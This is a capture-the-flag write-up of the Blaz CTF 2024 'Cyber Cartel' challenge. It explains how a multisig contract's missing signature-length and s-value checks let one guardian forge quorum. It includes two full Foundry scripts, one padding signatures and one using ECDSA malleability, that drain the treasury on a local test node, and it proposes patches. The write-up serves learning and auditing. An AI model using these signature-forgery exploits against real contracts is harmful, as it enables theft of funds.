Blaz CTF 2024 - Cyber Cartel
Challenge
Malone, Wiz and Box recently robbed a billionaire and deposited their proceeds into a multisig treasury. And who is Box? The genius hacker behind everything. He's gonna rob his friends...
Here’s how to start the challenge instance in the localhost:
git clone https://github.com/fuzzland/blazctf-2024.git
cd blazctf-2024/cyber-cartel/challenge/
# Start a local node, listening on 127.0.0.1:8545
anvil
# Deploy challenge contracts
sh deploy.sh 8545
> ====================== Challenge Deployment ==========================
> Funded Private Key:
> * 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d
>
> Deployed contracts:
> BodyGuard: 0x0fa51380834a7a7fc9799f41bd10ce18189783f4
> CartelTreasury: 0x12d49f0179ca93c34ca57916c6b30e72b2b9d398
> Challenge: 0x71c95911e9a5d330f4d621842ec243ee1343292e
Note: player's private key is anvil(0),
# 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80
You should use this private key to sent transactions
I didn’t solve this challenge during the Blaz CTF 2024 competition.
But recently I was re-learning security issues about EIP-191 Signed Data Standard and EIP-712 Typed Structured Data Hashing And Signing, and I saw this challenge that strongly connected with ECDSA Signature. After reading other people's writeups, I try to turn it into my own understanding and write a walkthrough note.
Referencing writeups <(_ _)>
:
https://github.com/DeFiHackLabs/blazctf-2024-writeup/blob/main/writeup/cyber-cartel.md
https://ambergroup.medium.com/blazctf-2024-writeup-4c097868db26
2024.10.29 Update
There are two paths to solve this challenge:
Solution 1
Our goal is to exhaust the ETH balance of the CartelTreasury
contract. In Deploy.s.sol we can see that the CartelTreasury
contract has 777 ethers.
function isSolved() external view returns (bool) {
return address(TREASURY).balance == 0; // 777 ethers
}
The only way that allows us to exhaust the ETH balance is by calling CartelTreasury.doom()
function.
function doom() external guarded {
payable(msg.sender).transfer(address(this).balance);
}
Utilizing the CartelTreasury.salary()
function is impractical because it has a Time Lock mechanism, which requires us to wait at least 777,000 minutes to complete the challenge.
// This is a rabbit hole, it need to wait at least 777,000 minutes to pass the challenge
function salary() external {
require(block.timestamp - lastTimeSalaryPaid[msg.sender] >= MIN_TIME_BETWEEN_SALARY, "Too soon");
lastTimeSalaryPaid[msg.sender] = block.timestamp;
payable(msg.sender).transfer(0.0001 ether);
}
In order to be able to call the CartelTreasury.doom()
function, we must pass the guarded
modifier check.
modifier guarded() {
require(bodyGuard == address(0) || bodyGuard == msg.sender, "Who?");
_;
}
The guarded
modifier requires that either CartelTreasury.bodyGuard
has not been set (ie: the CartelTreasury.initialize()
function has not been called or CartelTreasury.bodyGuard
has been reset by calling the gistCartelDismiss()
function), or the caller of the doom()
function has become a bodyguard
.
In Deploy.s.sol, we can see that CartelTreasury.bodyGuard
has been set to the address of the BodyGuard
contract.
// Depoly.s.sol::Deploy::deploy()
cartel = new CartelTreasury();
address[] memory guardians = new address[](3);
guardians[0] = 0xA66bA931da982b11a2f3b89d1D732537EA4bc30D;
guardians[1] = 0xa66ba931dA982b11A2F3B89d1d732537ea4bC30E;
guardians[2] = player;
address bodyguard = address(new BodyGuard(address(cartel), guardians));
cartel.initialize(bodyguard); // <-- here
t(address(cartel), 777 ether);
// CyberCartel.sol::CartelTreasury
function initialize(address bodyGuard_) external {
require(bodyGuard == address(0), "Already initialized");
bodyGuard = bodyGuard_;
}
modifier guarded() {
require(bodyGuard == address(0) || bodyGuard == msg.sender, "Who?");
_;
}
function doom() external guarded {
payable(msg.sender).transfer(address(this).balance);
}
function gistCartelDismiss() external guarded {
bodyGuard = address(0);
}
Okay, Let’s organize our subgoals a little bit:
Find the vulnerability within the
BodyGuard
contract source code where arbitrary external calls can be executed. (TBD)Control the
BodyGuard
contract and call theCartelTreasury.gistCartelDismiss()
function.Control any account, call
CartelTreasury.initialize(bodyGuard_=player_wallet)
function.Control
player_wallet
, callCartelTreasury.doom()
function.Challenge passed!
Our next target is to find out where the vulnerability within the BodyGuard
contract source code that allows arbitrary external calls.
We can find the snippet in the BodyGuard
contract where we can call any function of the CartelTreasury
contract:
// CyberCartel.sol::BodyGuard::propose()
function propose(Proposal memory proposal, bytes[] memory signatures) external {
require(proposal.expiredAt > block.timestamp, "Expired");
require(proposal.nonce > lastNonce, "Invalid nonce");
uint256 minVotes_ = minVotes;
if (guardians[msg.sender]) {
minVotes_--;
}
require(minVotes_ <= signatures.length, "Not enough signatures");
require(validateSignatures(hashProposal(proposal), signatures), "Invalid signatures");
lastNonce = proposal.nonce;
uint256 gasToUse = proposal.gas;
if (gasleft() < gasToUse) {
gasToUse = gasleft();
}
//@audit-info here we can initiate an external call
(bool success,) = treasury.call{gas: gasToUse * 9 / 10}(proposal.data);
if (!success) {
revert("Execution failed");
}
}
Now, we are basically confirming that the proposal.data
variable should be equal to abi.encodeWithSignature("gistCartelDismiss()")
.
// CyberCartel.sol::BodyGuard::propose()
(bool success,) = treasury.call{gas: gasToUse * 9 / 10}(proposal.data);
if (!success) {
revert("Execution failed");
}
//@audit-info `proposal.data` == `abi.encodeWithSignature("gistCartelDismiss()")`
In order to successfully execute treasury.call(proposal.data)
, we must pass two relatively tricky require
statements:
// CyberCartel.sol::BodyGuard::propose()
require(minVotes_ <= signatures.length, "Not enough signatures");
require(validateSignatures(hashProposal(proposal), signatures), "Invalid signatures");
Let's determine how to pass the first require
statements.
By observing the source code of the BodyGuard.constructor()
and the Deploy.deploy()
functions, we can know that minVotes
is equal to 3.
// Deploy.s.sol::Deploy::deploy()
address[] memory guardians = new address[](3);
guardians[0] = 0xA66bA931da982b11a2f3b89d1D732537EA4bc30D;
guardians[1] = 0xa66ba931dA982b11A2F3B89d1d732537ea4bC30E;
guardians[2] = player;
address bodyguard = address(new BodyGuard(address(cartel), guardians));
// CyberCartel.sol::BodyGuard::constructor()
constructor(address treasury_, address[] memory guardians_) {
require(treasury == address(0), "Already initialized");
treasury = treasury_;
for (uint256 i = 0; i < guardians_.length; i++) {
guardians[guardians_[i]] = true;
}
minVotes = uint8(guardians_.length);
}
If the caller of the BodyGuard.propose()
function is a player address (i.e. one of the guardians), then we only need to provide two sets of signatures, otherwise, we need to provide three sets of signatures.
// CyberCartel.sol::BodyGuard::propose()
uint256 minVotes_ = minVotes; //@audit-info `minVotes` == 3
if (guardians[msg.sender]) {
minVotes_--;
}
require(minVotes_ <= signatures.length, "Not enough signatures");
require(validateSignatures(hashProposal(proposal), signatures), "Invalid signatures");
We can determine that the array length of bytes[] memory signatures
is either 3 or 2.
Now we need to confirm how to pass the second require
statement, this requires us to understand how the BodyGuard.validateSignatures()
function works.
// CyberCartel.sol::BodyGuard::validateSignatures()
function validateSignatures(bytes32 digest, bytes[] memory signaturesSortedBySigners) public view returns (bool) {
bytes32 lastSignHash = bytes32(0);
for (uint256 i = 0; i < signaturesSortedBySigners.length; i++) {
address signer = recoverSigner(digest, signaturesSortedBySigners[i]);
require(guardians[signer], "Not a guardian");
bytes32 signHash = keccak256(signaturesSortedBySigners[i]);
if (signHash <= lastSignHash) {
return false;
}
lastSignHash = signHash;
}
return true;
}
Simply put, the validateSignatures()
function will compare whether these 2 or 3 sets of signatures are all signed by the guardian, and the signing data is a proposal (more specifically, signing data is the proposal hash).
From here, I was thinking, can we simply reuse the player's signature?
// My thought in pseudocode
bytes[] memory signatures = new bytes[](2);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPrivateKey, proposalHash);
bytes memory player_signature = abi.encodePacked(r, s, v);
signature[0] = player_signature;
signature[1] = player_signature;
vm.prank(player)
BodyGuard.validateSignatures(proposalHash, signatures)
// expected return `True`
Unfortunately, this won't work because validateSignatures()
function does not allow duplicate signature hashes.
// CyberCartel.sol::BodyGuard::validateSignatures()
function validateSignatures(bytes32 digest, bytes[] memory signaturesSortedBySigners) public view returns (bool) {
bytes32 lastSignHash = bytes32(0);
for (uint256 i = 0; i < signaturesSortedBySigners.length; i++) {
address signer = recoverSigner(digest, signaturesSortedBySigners[i]);
require(guardians[signer], "Not a guardian");
bytes32 signHash = keccak256(signaturesSortedBySigners[i]);
if (signHash <= lastSignHash) { //@audit-info duplicate signature disallowed
return false;
}
lastSignHash = signHash;
}
return true;
}
So it looks like we have to forge other guardians' signatures to pass both require(guardians[signer], "Not a guardian");
and if (signHash <= lastSignHash) { return false; }
statement.
To get all of the guardians' signatures on the malicious proposal, we must have all of the guardians' private keys, but we do not own them, hence we cannot forge the other guardian’s signatures.
However, there is a critical vulnerability in the recoverSigner()
function that ultimately allows us to obtain different signature hashes while their signers are all from the same account.
// CyberCartel.sol::BodyGuard::recoverSigner()
function recoverSigner(bytes32 digest, bytes memory signature) public pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(signature, 32))
s := mload(add(signature, 64))
v := byte(0, mload(add(signature, 96)))
}
return ecrecover(digest, v, r, s);
}
The recoverSigner()
function reads the r
, s
, and v
values of the bytes memory signature
through inline assembly.
Here, recoverSigner()
function using inline assembly to extract the ECDSA signature (i.e: r
, s
, and v
values). We can know how to extract the values of r
, s
, v
correctly from the example code of Solidity by Example - Verifying Signature.
// Solidity by Example: Verifying Signature
function splitSignature(bytes memory sig)
public
pure
returns (bytes32 r, bytes32 s, uint8 v)
{
require(sig.length == 65, "invalid signature length");
assembly {
/*
First 32 bytes stores the length of the signature
add(sig, 32) = pointer of sig + 32
effectively, skips first 32 bytes of signature
mload(p) loads next 32 bytes starting at the memory address p into memory
*/
// first 32 bytes, after the length prefix
r := mload(add(sig, 32))
// second 32 bytes
s := mload(add(sig, 64))
// final byte (first byte of the next 32 bytes)
v := byte(0, mload(add(sig, 96)))
}
// implicitly return (r, s, v)
}
However, through difference comparison, we can observe that the BodyGuard.recoverSigner()
function is missing the length check of signature compared to the SolidityByExample.splitSignature()
function.
// CyberCartel.sol::BodyGuard::recoverSigner()
function recoverSigner(bytes32 digest, bytes memory signature) public pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
//@audit-info missing check ⬇️
require(signature.length == 65, "invalid signature length");
assembly {
r := mload(add(signature, 32))
s := mload(add(signature, 64))
v := byte(0, mload(add(signature, 96)))
}
return ecrecover(digest, v, r, s);
}
This means that we can exploit this vulnerability by providing the same first 65 bytes of signature and padding some random bytes at the end, so that the signature can still restore the same signer but the signature hashes are different.
// My thought in pseudocode
//---------------------------------------------------------------------------------------
// Assume (bytes65).max is the player's 65 bytes ECDSA signature for proposal hash
bytes memory signature = abi.encodePacked(hex"ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff";
// Get signature hash
bytes32 signatureHash = keccak256(signature) // 0xd78b47b278dc48a65c5454fd6ed85b1e1945ee85fa86c396e919b559f20fb458
// Signature + random nonce byte => 66 bytes ECDSA signature
bytes memory signature2 = abi.encodePacked(hex"ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff01");
// Get signature hash (expect signatureHash != signatureHash2)
bytes32 signatureHash2 = keccak256(signature2) // 0xd512ce353372c063af8f4e7815bde4a719d432302d00b29fff42c98aa7bc94d0
//---------------------------------------------------------------------------------------
// Expect signatureHash != signatureHash2
assertNotEq(signatureHash != signatureHash2);
// Verifiy vulnerability exists
signature_signer = BodyGuard.recoverSigner(proposalHash, signature)
signature2_signer = BodyGuard.recoverSigner(proposalHash, signature2)
assertEq(signature_signer, player)
assertEq(signature2_signer, player)
All we need to do is to sort signatureHash
, signatureHash2
, signatureHashN
from small to large, so that it can pass the if (signHash <= lastSignHash)
check, and finally make validateSignatures()
function returns True
.
// CyberCartel.sol::BodyGuard::validateSignatures()
//@audit-info If we use the above method to forge `signaturesSortedBySigners`
function validateSignatures(bytes32 digest, bytes[] memory signaturesSortedBySigners) public view returns (bool) {
bytes32 lastSignHash = bytes32(0);
for (uint256 i = 0; i < signaturesSortedBySigners.length; i++) {
address signer = recoverSigner(digest, signaturesSortedBySigners[i]); //@audit-info `signer` always equal to `player`
require(guardians[signer], "Not a guardian"); //@audit-info always return True
bytes32 signHash = keccak256(signaturesSortedBySigners[i]);
if (signHash <= lastSignHash) { //@audit-info alyways return False (if we've already sorted different hashes)
return false;
}
lastSignHash = signHash;
}
return true;
}
Let’s summarize all of the attack steps:
Create a
Proposal
.
WhereProposal.data
is equal toabi.encodeWithSignature("gistCartelDismiss()")
Get the
ProposalHash
.
ProposalHash = BodyGuard.hashProposal(Proposal);
Get the
ProposalSignature
.
ProposalSignature = vm.sign(playerPrivateKey, ProposalHash)
Note: If you run this challenge in localhost, theplayerPrivateKey
is equal toanvil(0)
, which is0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80
.Forge the signatures and combine them into a
bytes[] memory
data structure.Sort the signature from small to large.
Call
BodyGuard.propose(Proposal, Signatures)
to call theCartelTreasury.gistCartelDismiss()
function.Reset the value of
CartelTreasury.bodyGuard
by callingCartelTreasury.initialize(address)
function.Call
CartelTreasury.doom()
to solve this challenge.
Here’s the full solution code.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;
// forge script script/Solution.s.sol --rpc-url http://127.0.0.1:8545 --broadcast --legacy
import "forge-std/Script.sol";
import "../src/CyberCartel.sol";
import "../src/Challenge.sol";
contract CyberCartelSolution is Script {
address constant challenge = 0x71C95911E9a5D330f4D621842EC243EE1343292e;
address constant cartelTreasury = 0x12D49f0179cA93c34cA57916C6b30E72B2b9D398;
address constant bodyGuard = 0x0fa51380834a7A7fC9799F41bd10cE18189783f4;
address constant player = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266; // anvil(0)
uint256 constant playerPrivKey = 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80; // anvil(0)
function run() public {
vm.startBroadcast(playerPrivKey);
// Step1. Create a proposal
BodyGuard.Proposal memory proposal = BodyGuard.Proposal({
expiredAt: type(uint32).max, // just randomly pick a large value
gas: type(uint24).max, // just randomly pick a large value
nonce: type(uint8).max, // just randomly pick a large value
data: abi.encodeWithSelector(CartelTreasury.gistCartelDismiss.selector)
});
// Step2. Get the ProposalHash
bytes32 proposalHash = BodyGuard(bodyGuard).hashProposal(proposal);
// Step3. Get the ProposalSignature
(uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPrivKey, proposalHash);
bytes memory signature = abi.encodePacked(r, s, v);
// Step4. Forge the signatures
bytes[] memory signatures = new bytes[](2);
signatures[0] = abi.encodePacked(signature, uint8(1));
signatures[1] = abi.encodePacked(signature, uint8(2));
// Step5. Sort the signatures
// Just implement a simple swap.
bytes memory temp = signatures[1];
if (keccak256(signatures[0]) > keccak256(signatures[1])){
signatures[1] = signatures[0];
signatures[0] = temp;
}
// Step6. Propose the proposal
BodyGuard(bodyGuard).propose(proposal, signatures);
// Step7. Re-initialize the `CartelTreasury` contract
CartelTreasury(payable(cartelTreasury)).initialize(player);
// Step8. Doom!
CartelTreasury(payable(cartelTreasury)).doom();
// Step9. Check the challenge is solved
Challenge(challenge).isSolved();
vm.stopBroadcast();
}
}
Potential Patches 1
Ultimately, the vulnerability of this challenge is that the recoverSigner()
function allows a signature
longer than 65 bytes to be passed in, causing the signature
to recover the same signer
but the signHash
could be different.
If recoverSigner()
restricted the input signature
to the standard ECDSA signature length of 65 bytes, it can ensure that each set of signatures only corresponds to one signer, making this challenge unpwnable.
// CyberCartel.sol::BodyGuard::recoverSigner()
function recoverSigner(bytes32 digest, bytes memory signature) public pure returns (address) {
//@audit-info patch
require(signature.length == 65, "ERROR: invalid signature length");
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(signature, 32))
s := mload(add(signature, 64))
v := byte(0, mload(add(signature, 96)))
}
return ecrecover(digest, v, r, s);
}
If possible, please use EIP-712 Typed Structured Data Hashing And Signing for better configurable signature replay protection.
Solution 2
While I analyzing challenge codes and writing this walkthrough note, I was suspect that this challenge could also be solved using Signature Malleability Attack, because the BodyGuard.recoverSigner()
function not only missing restriction the length of the signature
, nor does it limit the range of the s
value.
The challenge author's reply to other people’s tweets validates my thoughts.
If you observe the latest version of Openzeppelin/ECDSA.sol, you will find that compared with Solidity by Example - Verifying Signature, it has an additional check on s
value.
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/cryptography/ECDSA.sol#L59
// ECDSA.sol::tryRecover(bytes32,bytes memory)
function tryRecover(
bytes32 hash,
bytes memory signature
) internal pure returns (address recovered, RecoverError err, bytes32 errArg) {
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
assembly ("memory-safe") {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else {
return (address(0), RecoverError.InvalidSignatureLength, bytes32(signature.length));
}
}
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/cryptography/ECDSA.sol#L102
// ECDSA.sol::tryRecover(bytes32,bytes32,bytes32)
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address recovered, RecoverError err, bytes32 errArg) {
unchecked {
bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
uint8 v = uint8((uint256(vs) >> 255) + 27);
return tryRecover(hash, v, r, s);
}
}
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/cryptography/ECDSA.sol#L128
// ECDSA.sol::tryRecover(bytes32,uint8,bytes32,bytes32)
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address recovered, RecoverError err, bytes32 errArg) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS, s);
}
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature, bytes32(0));
}
return (signer, RecoverError.NoError, bytes32(0));
}
The missing check on s
value is:
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS, s);
}
Since I'm not a cryptography expert or mathematician, I couldn't explain very well how ECDSA works. I suggest you watch Owen Thurm’s introductory video about Signature Malleability.
Simply put, a Secp256k1 Elliptic Curve has two valid points, and they have the same r
value.
P2 = (x, y)
P1 = (x, -y)
For the convenience of explanation, let us optimistically imagine that the r
value is equal to the X-axis and the s
value is equal to the Y-axis.
When the coordinate axes of P2 = (r, s)
are known, we only need to obtain the inversed s
value to know coordinate axes of P1, which is P1 = (r, -s)
.
So, in this solution, we control the player
account (which let us only need to prepare 2 sets of signature) and use the player
's private key to sign the same proposalHash
twice:
A normal ECDSA signature (w/ lower-
s
value)A manipulated ECDSA signature (w/ higher-
s
value)
// Craft a normal ECDSA signature
(uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPrivKey, proposalHash);
bytes memory normal_signature = abi.encodePacked(r, s, v);
//=> 0x7281f36689805d0868d6fe200633f292ebd84a0771435a05718023197d6e875466426b71e32d90aaf24bd23026ed29e736cbb178826055e8ac684f60996185f31b
// Craft a manipulated ECDSA signature
uint8 v2 = (v % 2 == 0) ? 27 : 28;
uint256 n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141;
bytes32 s2 = bytes32(n - uint256(s));
bytes memory manipulated_signature = abi.encodePacked(r, s2, v2);
//=> 0x7281f36689805d0868d6fe200633f292ebd84a0771435a05718023197d6e875499bd948e1cd26f550db42dcfd912d61783e32b6e2ce84a53136a0f2c36d4bb4e1c
These two sets of ECDSA signatures are NOT equal, and the length is also equal to 65 bytes, but in the end they can all be recover to the same signer signer = player
.
assert(normal_signature != manipulated_signature);
//=> True
BodyGuard(bodyGuard).recoverSigner(proposalHash, normal_signature);
//=> 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
BodyGuard(bodyGuard).recoverSigner(proposalHash, manipulated_signature);
//=> 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
Full Solution Code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;
// forge script script/Solution2.s.sol --rpc-url http://127.0.0.1:8545 --broadcast --legacy
import "forge-std/Script.sol";
import "../src/CyberCartel.sol";
import "../src/Challenge.sol";
contract CyberCartelSolution is Script {
address constant challenge = 0x71C95911E9a5D330f4D621842EC243EE1343292e;
address constant cartelTreasury = 0x12D49f0179cA93c34cA57916C6b30E72B2b9D398;
address constant bodyGuard = 0x0fa51380834a7A7fC9799F41bd10cE18189783f4;
address constant player = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266; // anvil(0)
uint256 constant playerPrivKey = 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80; // anvil(0)
function run() public {
vm.startBroadcast(playerPrivKey);
// Step1. Create a proposal
BodyGuard.Proposal memory proposal = BodyGuard.Proposal({
expiredAt: type(uint32).max, // just randomly pick a large value
gas: type(uint24).max, // just randomly pick a large value
nonce: type(uint8).max, // just randomly pick a large value
data: abi.encodeWithSelector(CartelTreasury.gistCartelDismiss.selector)
});
// Step2. Get the ProposalHash
bytes32 proposalHash = BodyGuard(bodyGuard).hashProposal(proposal);
// Step3. Get the ProposalSignature
(uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPrivKey, proposalHash);
bytes memory signature = abi.encodePacked(r, s, v);
// Step4. Get the malleable ProposalSignature
uint8 v2 = (v % 2 == 0) ? 27 : 28;
bytes32 s2 = bytes32(0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 - uint256(s));
bytes memory signature2 = abi.encodePacked(r, s2, v2);
// Step5. Combine them into an array
bytes[] memory signatures = new bytes[](2);
signatures[0] = abi.encodePacked(signature);
signatures[1] = abi.encodePacked(signature2);
// Step6. Sort the signatures
// Just implement a simple swap.
bytes memory temp = signatures[1];
if (keccak256(signatures[0]) > keccak256(signatures[1])){
signatures[1] = signatures[0];
signatures[0] = temp;
}
// Step7. Propose the proposal
BodyGuard(bodyGuard).propose(proposal, signatures);
// Step8. Re-initialize the `CartelTreasury` contract
CartelTreasury(payable(cartelTreasury)).initialize(player);
// Step9. Doom!
CartelTreasury(payable(cartelTreasury)).doom();
// Step10. Check the challenge is solved
Challenge(challenge).isSolved();
vm.stopBroadcast();
}
}
CodeDiff with Solution1:
Potential Patches 2
In addition to limiting the length of the signature
to be equal to the standard ECDSA Signature length of 65 Bytes, it is also need to limit the s
value is less than half of the Curve Order to avoid signature malleability attack.
// CyberCartel.sol::BodyGuard::recoverSigner()
function recoverSigner(bytes32 digest, bytes memory signature) public pure returns (address) {
//@audit-info Patch for Solution1
require(signature.length == 65, "ERROR: invalid signature length");
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(signature, 32))
s := mload(add(signature, 64))
v := byte(0, mload(add(signature, 96)))
}
//@audit-info Patch for Solution2
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, 'ERROR: invalid S-value');
return ecrecover(digest, v, r, s);
}
After patching, re-run Solution2.s.sol
again, you should see the following error messages:
forge script script/Solution2.s.sol --rpc-url http://127.0.0.1:8545 --broadcast --legacy -vvvv
> [⠊] Compiling...
> [⠃] Compiling 1 files with Solc 0.8.26
> [⠊] Solc 0.8.26 finished in 782.80ms
> Compiler run successful!
> Traces:
> [489823] → new CyberCartelSolution@0x5b73C5498c1E3b4dbA84de0F1833c4a029d90519
> └─ ← [Return] 2336 bytes of code>
> [21499] CyberCartelSolution::run()
> ├─ [0] VM::startBroadcast(<pk>)
> │ └─ ← [Return]
> ├─ [4072] 0x0fa51380834a7A7fC9799F41bd10cE18189783f4::hashProposal(Proposal({ expiredAt: 4294967295 [4.294e9], gas: 16777215 [1.677e7], nonce: 255, data: 0x837cc8cc })) [staticcall]
> │ └─ ← [Return] 0x67d0abb821094e56ca8ceed11f91bf5a761528cd11969fbaacaf141d4b7858fd
> ├─ [0] VM::sign("<pk>", 0x67d0abb821094e56ca8ceed11f91bf5a761528cd11969fbaacaf141d4b7858fd) [staticcall]
> │ └─ ← [Return] 27, 0x7281f36689805d0868d6fe200633f292ebd84a0771435a05718023197d6e8754, 0x66426b71e32d90aaf24bd23026ed29e736cbb178826055e8ac684f60996185f3
> ├─ [6392] 0x0fa51380834a7A7fC9799F41bd10cE18189783f4::propose(Proposal({ expiredAt: 4294967295 [4.294e9], gas: 16777215 [1.677e7], nonce: 255, data: 0x837cc8cc }), [0x7281f36689805d0868d6fe200633f292ebd84a0771435a05718023197d6e875499bd948e1cd26f550db42dcfd912d61783e32b6e2ce84a53136a0f2c36d4bb4e1c, 0x7281f36689805d0868d6fe200633f292ebd84a0771435a05718023197d6e875466426b71e32d90aaf24bd23026ed29e736cbb178826055e8ac684f60996185f31b])
> │ └─ ← [Revert] revert: ERROR: invalid S-value
> └─ ← [Revert] revert: ERROR: invalid S-value>
>
> Error:
> script failed: revert: ERROR: invalid S-value
Subscribe to my newsletter
Read articles from whiteberets[.]eth directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
whiteberets[.]eth
whiteberets[.]eth
Please don't OSINT me, I'd be shy. 🫣